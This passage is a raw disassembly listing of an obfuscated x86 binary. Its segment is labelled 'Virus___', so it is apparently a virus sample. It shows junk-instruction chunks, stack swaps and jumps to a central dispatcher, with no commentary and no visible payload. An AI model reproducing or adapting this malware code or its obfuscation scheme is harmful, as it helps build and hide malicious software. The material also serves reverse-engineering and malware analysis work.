		mov	[esp-16h+arg_12], eax
		mov	ah, 94h
		mov	bl, 25h
		xor	bl, ah
		pop	eax
		sub	bl, 0A1h
		jmp	loc_54A2AC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5451FD


loc_544EF9:				; CODE XREF: sub_5451FD+21j
		xor	ebx, 77CAB4FFh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		jmp	loc_548942
; END OF FUNCTION CHUNK	FOR sub_5451FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544F0E:				; CODE XREF: sub_545A2B+5058j
		shl	cl, 2
		not	cl
		xor	cl, 8Bh
		sub	cl, 8Ch
		add	bl, cl
		pop	ecx
		movzx	eax, al
		push	small 1F3Ch
		mov	word ptr [esp-1Ch+arg_16+2], ax
		jmp	loc_543493
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544F2C:				; CODE XREF: Virus___:00543C8Dj
		mov	[esp], ebp
		mov	ebp, 400h
		or	[edi+1Ch], ebp
		jmp	loc_54F1CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544F3C:				; CODE XREF: sub_545A2B+6E2Ej
		push	eax
		jmp	loc_5497D8
; ---------------------------------------------------------------------------


loc_544F42:				; CODE XREF: sub_545A2B+401j
		pop	edx
		push	edi
		pop	esi
		pop	edi
		sub	eax, 0DC86102h
		jmp	loc_547E06
; ---------------------------------------------------------------------------


loc_544F50:				; CODE XREF: sub_545A2B-7B7j
		mov	[esp-20h+arg_1A+2], ebx
		mov	ebx, 4EE345B0h
		push	ecx
		jmp	loc_5435B1
; ---------------------------------------------------------------------------


loc_544F5E:				; CODE XREF: sub_545A2B+37Aj
		shr	dh, 2
		jmp	loc_54E095
; ---------------------------------------------------------------------------


loc_544F66:				; CODE XREF: sub_545A2B+8E62j
		add	eax, 4
		jmp	loc_545F86
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_544F70	proc near		; CODE XREF: sub_545A2B+1773j
		push	ebx
		mov	ebx, 0DA357876h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_54B748
sub_544F70	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_544F7E:				; CODE XREF: sub_543A46+A314j
		mov	esi, esp
		push	ebx
		push	eax
		mov	eax, 1A2C50F3h
		mov	ebx, eax
		pop	eax
		shr	ebx, 5
		and	ebx, 55371FF1h
		dec	ebx
		xor	ebx, 110284h
		add	esi, ebx
		pop	ebx
		jmp	loc_54A162
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544FA2:				; CODE XREF: sub_545A2B-576j
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		jmp	loc_54AA7F
; ---------------------------------------------------------------------------


loc_544FAD:				; CODE XREF: sub_545A2B+75D8j
		mov	ebp, edx
		pop	edx
		dec	ebp
		jmp	loc_54B6B1
; ---------------------------------------------------------------------------


loc_544FB6:				; CODE XREF: sub_545A2B+4EDj
		mov	edi, 4E862C1Fh
		push	14E7h
		mov	[esp-1Ch+arg_16+2], edi
		jmp	loc_54CD29
; ---------------------------------------------------------------------------


loc_544FC8:				; CODE XREF: sub_545A2B+6582j
		add	[edx], ebp
		pop	edx
		pop	eax
		mov	ebp, [esp-24h+arg_1E+2]
		add	esp, 4
		jmp	loc_549FCF
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544FD7:				; CODE XREF: Virus___:00543B1Dj
		mov	ecx, esp
		push	3911h
		mov	[esp], edx
		jmp	loc_54995C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544FE6:				; CODE XREF: sub_545A2B+5ACFj
		add	ecx, 4
		push	eax
		jmp	loc_54CB04
; ---------------------------------------------------------------------------


loc_544FF2:				; CODE XREF: sub_545A2B+1F61j
		sub	[esp-24h+arg_1E+2], edi
		sub	[esp-24h+arg_1E+2], 2C9506E4h
		pop	edi
		jmp	loc_54C5F9
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_545002	proc near		; CODE XREF: sub_545A2B-2725j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0054CCD6 SIZE 00000038 BYTES

		push	ebx
		push	47A0h
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	2DA6h
		jmp	loc_54CCD6
sub_545002	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545022:				; CODE XREF: sub_545A2B+34D3j
		pop	ebx
		push	ecx
		push	esi
		mov	esi, 4D240E51h
		jmp	loc_54F10C
; ---------------------------------------------------------------------------


loc_54502F:				; CODE XREF: sub_545A2B+69D2j
		add	dh, 18h
		xor	dh, 45h
		add	dh, 53h
		add	bl, 0FCh
		add	bl, dh
		push	eax
		mov	ah, 0DDh
		xor	ah, 21h
		sub	bl, ah
		jmp	loc_5478F4
; ---------------------------------------------------------------------------


loc_54504A:				; CODE XREF: sub_545A2B-207Cj
		add	[esp-40h+arg_42+2], edx
		add	[esp-40h+arg_42+2], 37AD39EAh
		sub	[esp-40h+arg_42+2], 459B4C19h
		pop	edx
		jmp	loc_547487
; ---------------------------------------------------------------------------


loc_545064:				; CODE XREF: sub_545A2B+23D6j
		add	esi, 4BFB04BDh
		sub	esi, edx
		sub	esi, 4BFB04BDh
		pop	edx
		push	esi
		push	[esp-44h+arg_42+2]
		pop	esi
		jmp	loc_54754B
; ---------------------------------------------------------------------------


loc_54507E:				; CODE XREF: sub_545A2B+6D68j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		push	edi
		mov	edi, 76D302Dh
		push	eax
		mov	eax, 203839C4h
		shl	eax, 7
		jmp	loc_54511C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54C9ED


loc_5450A3:				; CODE XREF: sub_54C9ED+Aj
		add	cl, 0C2h
		jmp	loc_54E1BC
; END OF FUNCTION CHUNK	FOR sub_54C9ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5450AB:				; CODE XREF: sub_545A2B+5F65j
		add	eax, 59244E49h
		add	edi, eax
		pop	eax
		xor	edi, [esp-40h+arg_3A+2]
		xor	[esp-40h+arg_3A+2], edi
		xor	edi, [esp-40h+arg_3A+2]
		jmp	loc_545B9B
; ---------------------------------------------------------------------------


loc_5450C1:				; CODE XREF: sub_545A2B+187Fj
		pop	ecx
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp-48h+arg_42+2]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5450D7:				; CODE XREF: sub_545A2B+8411j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-4Ch+arg_46+2]
		mov	esp, [esp-4Ch+arg_46+2]
		jmp	loc_54D0D8
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543268


loc_5450F1:				; CODE XREF: sub_543268+14j
		push	eax
		mov	eax, 4
		mov	ecx, eax
		pop	eax
		sub	dword ptr [esp+4], 2F4A4487h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 2F4A4487h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_54F3D5
; END OF FUNCTION CHUNK	FOR sub_543268
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54511C:				; CODE XREF: sub_545A2B-98Dj
		shl	eax, 2
		shr	eax, 5
		sub	esp, 4
		mov	[esp-38h+arg_32+2], edi
		push	eax
		jmp	loc_543F2F
; ---------------------------------------------------------------------------


loc_54512E:				; CODE XREF: sub_545A2B+9215j
		pop	edx
		and	cl, 3Dh
		neg	cl
		sub	cl, 4
		mov	dl, cl
		mov	ecx, [esp-38h+arg_32+2]
		add	esp, 4
		jmp	loc_54582E
; ---------------------------------------------------------------------------


loc_545144:				; CODE XREF: sub_545A2B+393j
		add	esp, 4
		jmp	loc_5484D2
; ---------------------------------------------------------------------------


loc_54514C:				; CODE XREF: sub_545A2B+3B74j
		pop	ebp
		jmp	loc_548172
; ---------------------------------------------------------------------------


loc_545152:				; CODE XREF: sub_545A2B+423Cj
		add	esp, 4
		add	ebx, 57BB2605h
		add	ebx, ecx
		sub	ebx, 57BB2605h
		push	[esp-48h+arg_42+2]
		pop	ecx
		jmp	loc_54F1DC
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54516C	proc near		; CODE XREF: sub_545A2B+1649j

var_4		= dword	ptr -4

		push	ebx
		pop	edx
		push	30CDh
		mov	[esp+4+var_4], edx
		xor	[esp+4+var_4], 117921CDh
		pop	eax
		xor	eax, 117921CDh
		push	dword ptr [esp+0]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_54A940
sub_54516C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54331B


loc_54518F:				; CODE XREF: sub_54331B+6j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	eax
		jmp	loc_549D2A
; END OF FUNCTION CHUNK	FOR sub_54331B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54519B:				; CODE XREF: sub_545A2B-884j
		mov	esp, [esp-48h+arg_42+2]
		jmp	loc_546A20
; ---------------------------------------------------------------------------


loc_5451A3:				; CODE XREF: sub_545A2B+40A3j
		pop	ebx
		pop	[esp-4Ch+arg_46+2]
		jmp	loc_54519B
; ---------------------------------------------------------------------------


loc_5451AC:				; CODE XREF: sub_545A2B-26F1j
		mov	esp, [esp-10h+arg_A+2]


loc_5451AF:				; CODE XREF: sub_545A2B+51D4j
					; sub_545A2B+8180j
		push	1577h
		mov	[esp+0], ebx
		push	ebp
		jmp	loc_544209
; ---------------------------------------------------------------------------


loc_5451BD:				; CODE XREF: sub_545A2B-29j
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 15B860ACh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_546B4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5451E1:				; CODE XREF: sub_545A2B+1994j
		add	esi, 0E136D40h
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp-8+arg_4]
		mov	esp, [esp+0]
		rol	byte ptr [esp+0], cl
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5451FD	proc near		; CODE XREF: sub_545A2B+8DEj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00544EF9 SIZE 00000015 BYTES

		push	ebx
		mov	ebx, 4B0D4F51h
		shl	ebx, 3
		add	ebx, 6DCE4CA3h
		xor	ebx, 2C4B522Ah
		sub	ebx, 74AB1016h
		or	ebx, 24234B8h
		jmp	loc_544EF9
sub_5451FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545223:				; CODE XREF: sub_545A2B+1010j
		mov	ebx, 55BE1291h
		jmp	loc_544A9B
; ---------------------------------------------------------------------------


loc_54522D:				; CODE XREF: sub_545A2B+AB9j
		mov	edx, esp
		jmp	loc_54700C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_545234:				; CODE XREF: Virus___:0054CCC3j
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 5D834105h
		neg	ebp
		shl	ebp, 5
		xor	ebp, 48BE493Fh
		jmp	loc_545279
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545252:				; CODE XREF: sub_545A2B+57E9j
		add	ebx, 57A636F4h
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545266:				; CODE XREF: sub_545A2B+7D24j
		add	eax, edi
		pop	edi
		pop	edx
		sub	eax, 58B57BAh
		push	4384h
		jmp	loc_544F50
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_545279:				; CODE XREF: Virus___:0054524Dj
		add	ebp, 0F8D669A5h
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_548DBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545289:				; CODE XREF: sub_545A2B+40ACj
		push	edx
		sub	esp, 4
		mov	[esp-8+arg_4], esi
		mov	esi, esp
		add	esi, 4
		push	54C2h
		jmp	loc_54DE0B
; ---------------------------------------------------------------------------


loc_5452A2:				; CODE XREF: sub_545A2B+6A00j
		pop	esp
		mov	cx, word ptr [esp-8+arg_4]
		jmp	loc_5430B9
; ---------------------------------------------------------------------------


loc_5452AC:				; CODE XREF: sub_545A2B+1D7Cj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-8+arg_4]
		jmp	loc_54F151
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		push	ebp
		mov	ebp, 6DC5590Ah
		jmp	loc_54E19C

; =============== S U B	R O U T	I N E =======================================



sub_5452D5	proc near		; CODE XREF: sub_545A2B+314j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005459BE SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		jmp	loc_5459BE
sub_5452D5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_54652F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5452EB:				; CODE XREF: sub_545A2B+585Dj
		pop	edi
		push	ecx
		mov	ecx, 79D81A57h
		or	ecx, 38573D1Eh
		jmp	loc_545546
; ---------------------------------------------------------------------------


loc_5452FD:				; CODE XREF: sub_545A2B+2F06j
		xor	ax, 33ADh
		mov	bp, ax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		add	bx, bp
		jmp	loc_5495A4
; ---------------------------------------------------------------------------


loc_545315:				; CODE XREF: sub_545A2B-206Aj
		pop	eax
		or	ch, 0C3h
		shr	ch, 4
		jmp	loc_549C5E
; ---------------------------------------------------------------------------


loc_545321:				; CODE XREF: sub_545A2B+1B12j
		mov	[esp-48h+arg_42+2], esi
		push	ebx
		mov	ebx, 43E35105h
		mov	esi, 527544Ah
		xor	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 58E9379Ch
		sub	eax, edi
		pop	edi
		add	eax, esi
		add	eax, 58E9379Ch
		push	[esp-48h+arg_42+2]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_547E81
; ---------------------------------------------------------------------------


loc_545354:				; CODE XREF: sub_545A2B+498Dj
		pop	ecx
		xchg	ah, bh
		push	eax
		not	byte ptr [esp-44h+arg_3E+3]
		pop	eax
		xchg	ah, bh
		sub	bh, 1
		sub	bh, 6Ah
		sub	al, bh
		pop	ebx
		sub	bl, 3
		add	bl, al
		jmp	loc_5467A4
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54C95E


loc_545372:				; CODE XREF: sub_54C95E+6j
		push	small 27A9h
		jmp	loc_5467B7
; END OF FUNCTION CHUNK	FOR sub_54C95E

; =============== S U B	R O U T	I N E =======================================



sub_54537B	proc near		; CODE XREF: sub_545A2B-1E2Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_54A39A
sub_54537B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54539D:				; CODE XREF: sub_545A2B+40D3j
		pop	eax
		jmp	loc_54EC9A
; ---------------------------------------------------------------------------


loc_5453A3:				; CODE XREF: sub_545A2B+3D9Bj
		mov	[esp-50h+arg_4C], ecx
		push	eax
		mov	ah, dl
		mov	cl, ah
		pop	eax
		mov	[eax], cl
		push	[esp-50h+arg_4C]
		pop	ecx
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 23C16E1Dh
		xor	ecx, 4EB82520h
		or	ecx, 6A6C31D1h
		push	edx
		push	ebp
		mov	ebp, 4B5458Bh
		jmp	loc_54774B
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54EB9E


loc_5453D3:				; CODE XREF: sub_54EB9E-9ED3j
		mov	edx, 680C639Dh
		sub	ebx, edx
		pop	edx
		shl	ebx, 3
		neg	ebx
		sub	ebx, 174AE9B5h
		and	ebp, ebx
		pop	ebx
		jmp	loc_548196
; END OF FUNCTION CHUNK	FOR sub_54EB9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5453EE:				; CODE XREF: sub_545A2B+1F0Cj
		dec	edi
		push	eax
		mov	eax, 7E8877A0h
		sub	edi, eax
		mov	eax, [esp-3Ch+arg_36+2]
		add	esp, 4
		mov	ecx, edi
		pop	edi
		add	edx, ecx
		jmp	loc_54E820
; ---------------------------------------------------------------------------


loc_54540A:				; CODE XREF: sub_545A2B+1CEFj
		add	ebp, esi
		jmp	loc_54C22D
; ---------------------------------------------------------------------------


loc_545411:				; CODE XREF: sub_545A2B+8BE8j
		xor	[esp-44h+arg_3E+2], edx
		xor	edx, [esp-44h+arg_3E+2]
		pop	esp
		add	byte ptr [esp-48h+arg_42+2], al
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545421:				; CODE XREF: sub_545A2B-3B9j
		push	29D7h
		mov	[esp-40h+arg_3A+2], edx
		mov	edx, 7541488Ch
		jmp	loc_5478B7
; ---------------------------------------------------------------------------


loc_545433:				; CODE XREF: sub_545A2B+8534j
		add	ebp, edi
		pop	edi
		add	ebp, 2
		push	ebp
		push	[esp-40h+arg_3E+2]
		pop	ebp
		pop	[esp-40h+arg_3A+2]
		mov	esp, [esp-44h+arg_3E+2]
		jmp	loc_543F4D
; ---------------------------------------------------------------------------


loc_54544D:				; CODE XREF: sub_545A2B-50Bj
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_545B91
; ---------------------------------------------------------------------------


loc_54545B:				; CODE XREF: sub_545A2B+7CE9j
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp-40h+arg_3A+2], ecx
		push	edx
		push	ebx
		jmp	loc_54349F
; ---------------------------------------------------------------------------


loc_545472:				; CODE XREF: sub_545A2B+88DEj
		push	2A76h
		mov	[esp-34h+arg_2E+2], esi
		push	ebp
		mov	ebp, 4DC860FAh
		push	ebp
		sub	[esp-2Ch+arg_26+2], 7DD846E0h
		pop	esi
		add	esi, 7DD846E0h
		mov	ebp, [esp-30h+arg_2A+2]
		jmp	loc_545BB8
; ---------------------------------------------------------------------------


loc_545497:				; CODE XREF: sub_545A2B+5D08j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-30h+arg_2A+2]
		pop	esp
		mov	ah, cl
		mov	ecx, [esp-34h+arg_2E+2]
		add	esp, 4
		push	ebx
		mov	bl, ah
		jmp	loc_544FA2
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_54D7DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5454D2:				; CODE XREF: sub_545A2B+3B7Bj
		movzx	eax, ax
		push	small 1E58h
		mov	word ptr [esp-32h+arg_2E], ax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5454E2:				; CODE XREF: sub_545A2B+7507j
		pop	esi
		add	edx, 65204737h
		add	edx, ebx
		sub	edx, 65204737h
		pop	ebx
		xchg	edx, [esp-3Ah+arg_36]
		pop	esp
		ror	byte ptr [esp-3Eh+arg_3A], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5454FF:				; CODE XREF: sub_545A2B+67D5j
		mov	esi, 4
		jmp	loc_54CA30
; ---------------------------------------------------------------------------


loc_545509:				; CODE XREF: sub_545A2B+483Dj
		shr	edx, 1
		and	edx, 29A6673Fh
		jmp	loc_54A384
; ---------------------------------------------------------------------------


loc_545516:				; CODE XREF: sub_545A2B+3F5Dj
		add	edx, edi
		pop	edi
		xchg	edx, [esp-3Eh+arg_3A]
		mov	esp, [esp-3Eh+arg_3A]
		push	ebp
		jmp	loc_54544D
; ---------------------------------------------------------------------------


loc_545525:				; CODE XREF: sub_545A2B+728Ej
		xor	[esp-3Ah+arg_36], ebp
		xor	ebp, [esp-3Ah+arg_36]
		pop	esp
		mov	[esp-3Eh+arg_3A], ebp
		push	74806EEh
		pop	ebp
		push	eax
		mov	eax, 37826A36h
		jmp	loc_547E3D
; ---------------------------------------------------------------------------


loc_545540:				; CODE XREF: sub_545A2B+4E91j
		push	ecx
		jmp	loc_546D26
; ---------------------------------------------------------------------------


loc_545546:				; CODE XREF: sub_545A2B-733j
		or	ecx, 5A440DB3h
		jmp	loc_54DC02
; ---------------------------------------------------------------------------


loc_545551:				; CODE XREF: sub_545A2B+3296j
		not	ecx
		xchg	ecx, ebx
		not	ebx
		sub	ebx, 54D03F1Ah
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_54A6D5
; ---------------------------------------------------------------------------


loc_545571:				; CODE XREF: sub_545A2B+8C63j
		pop	eax
		add	edx, 71394417h
		jmp	sub_5440AE
; ---------------------------------------------------------------------------


loc_54557D:				; CODE XREF: sub_545A2B+2F83j
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp-10h+arg_A+2]
		pop	esp
		sub	bl, 38h
		sub	bl, al
		jmp	loc_54B718
; ---------------------------------------------------------------------------


loc_545597:				; CODE XREF: sub_545A2B+78C5j
		or	ebp, 375B162Dh
		sub	ebp, 0F77BD7ABh
		add	edi, 698B745Fh
		add	edi, ebp
		push	eax
		mov	eax, 698B745Fh
		sub	edi, eax
		pop	eax
		mov	ebp, [esp-14h+arg_E+2]
		add	esp, 4
		xor	edi, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], edi
		xor	edi, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		bts	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5455D1:				; CODE XREF: sub_545A2B+94D9j
		pop	esi
		dec	esi
		push	ebx
		jmp	loc_544DB7
; ---------------------------------------------------------------------------


loc_5455D9:				; CODE XREF: sub_545A2B+3AC6j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_5455DE:				; CODE XREF: sub_545A2B+923Cj
		push	edi
		mov	edi, 5712026Ch
		sub	[esp-10h+arg_12+2], edi
		pop	edi
		jmp	loc_543344
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543A46


loc_5455EE:				; CODE XREF: sub_543A46+9AC2j
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		pop	edx
		add	ebx, 2A0077A9h
		jmp	loc_54EFC7
; END OF FUNCTION CHUNK	FOR sub_543A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5455FF:				; CODE XREF: sub_545A2B+27A7j
		pop	esi
		push	5172h
		mov	[esp-14h+arg_E+2], eax
		xor	[esp-14h+arg_E+2], 7FD838EFh
		jmp	loc_54CE53
; ---------------------------------------------------------------------------


loc_545614:				; CODE XREF: sub_545A2B+1495j
		xchg	ebx, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		imul	ecx
		push	esi
		jmp	loc_548D08
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_545622:				; CODE XREF: Virus___:0054C868j
		mov	edi, esp
		push	esi
		push	edi
		push	73B2524Bh
		pop	edi
		or	edi, 144970AAh
		sub	edi, 49FF6680h
		jmp	loc_546F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54563D:				; CODE XREF: sub_545A2B+3E2Fj
		sub	cl, 5Ah
		jmp	loc_54597F
; ---------------------------------------------------------------------------


loc_545645:				; CODE XREF: sub_545A2B-5j
		add	eax, 4682B6DAh
		sub	ebx, eax
		pop	eax
		jmp	loc_547C7E
; ---------------------------------------------------------------------------


loc_545652:				; CODE XREF: sub_545A2B+2147j
		mov	edx, [esp-14h+arg_E+2]
		add	esp, 4
		add	bl, 0A6h
		sub	bl, ah
		jmp	loc_549AB8
; ---------------------------------------------------------------------------


loc_545662:				; CODE XREF: sub_545A2B+EB6j
		xor	ebx, eax
		push	7FD8h
		mov	[esp-14h+arg_E+2], eax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_545671:				; CODE XREF: sub_545A2B+4246j
		pop	ecx
		jmp	loc_545421
; ---------------------------------------------------------------------------


loc_545677:				; CODE XREF: sub_545A2B+E4j
		add	esi, 4
		xchg	esi, [esp-18h+arg_12+2]
		pop	esp
		sub	edx, 4
		xchg	edx, [esp-1Ch+arg_16+2]
		mov	esp, [esp-1Ch+arg_16+2]
		mov	[esp-1Ch+arg_16+2], edx
		push	eax
		pushf
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_545697:				; DATA XREF: Virus___:00542D50o
		push	dword ptr [esp]
		jmp	loc_548786
; ---------------------------------------------------------------------------


loc_54569F:				; DATA XREF: Virus___:00542D24o
		mov	ax, [esp]
		push	2499h
		mov	[esp], edi
		push	25FCh
		mov	[esp], esp
		jmp	loc_54B219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5456B8:				; CODE XREF: sub_545A2B+7AB7j
		pop	ecx
		jmp	loc_542F67
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5456BE	proc near		; CODE XREF: sub_545A2B+4F5j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0054422B SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 2
		jmp	loc_54422B
sub_5456BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5456D1:				; CODE XREF: sub_545A2B+2E63j
		sub	eax, 408B657Fh
		xor	eax, 10D8AA65h
		add	ebp, eax
		mov	eax, [esp-18h+arg_12+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-14h+arg_E+2]
		jmp	loc_543D34
; ---------------------------------------------------------------------------


loc_5456F7:				; CODE XREF: sub_545A2B+13BAj
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp-18h+arg_12+2]
		pop	esp
		jmp	loc_54B417
; ---------------------------------------------------------------------------


loc_545703:				; CODE XREF: sub_545A2B-27CFj
		and	ch, 0EAh
		add	ch, 0Ah
		xor	ch, 34h
		xor	ch, 99h
		jmp	loc_54845F
; ---------------------------------------------------------------------------


loc_545714:				; CODE XREF: sub_545A2B+32F8j
		add	esp, 4
		push	eax
		push	edi
		mov	edi, 4
		mov	eax, edi
		pop	edi
		add	edx, eax
		mov	eax, [esp-16h+arg_12]
		jmp	loc_544822
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
off_54572E	dd offset dword_4FD980+6E8h ; DATA XREF: Virus___:00542E44o
		dw 8900h
; ---------------------------------------------------------------------------
		add	al, 24h
		mov	al, bl
		mov	bl, [esp+4]
		jmp	loc_544174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_545741:				; CODE XREF: sub_545A2B+1CDj
		xor	ch, 64h
		sub	al, ch
		pop	ecx
		add	bl, al
		jmp	loc_54BFB2
; ---------------------------------------------------------------------------


loc_54574E:				; CODE XREF: sub_545A2B+7796j
		pop	eax
		pop	[esp-1Eh+arg_1A]
		jmp	loc_54E816
; ---------------------------------------------------------------------------


loc_545757:				; CODE XREF: sub_545A2B-14FEj
		push	[esp-1Eh+arg_1A]
		mov	esi, [esp-1Ah+arg_16]
		add	esp, 4
		sub	esp, 4
		mov	[esp-1Ah+arg_16], esi
		mov	esi, esp
		push	edx
		push	ecx
		mov	ecx, 31106211h
		xor	ecx, 56E21FECh
		not	ecx
		jmp	loc_543FB1
; ---------------------------------------------------------------------------


loc_54577F:				; CODE XREF: sub_545A2B-283Ej
		mov	[esp-0Eh+arg_A], ebx
		jmp	loc_54BE64
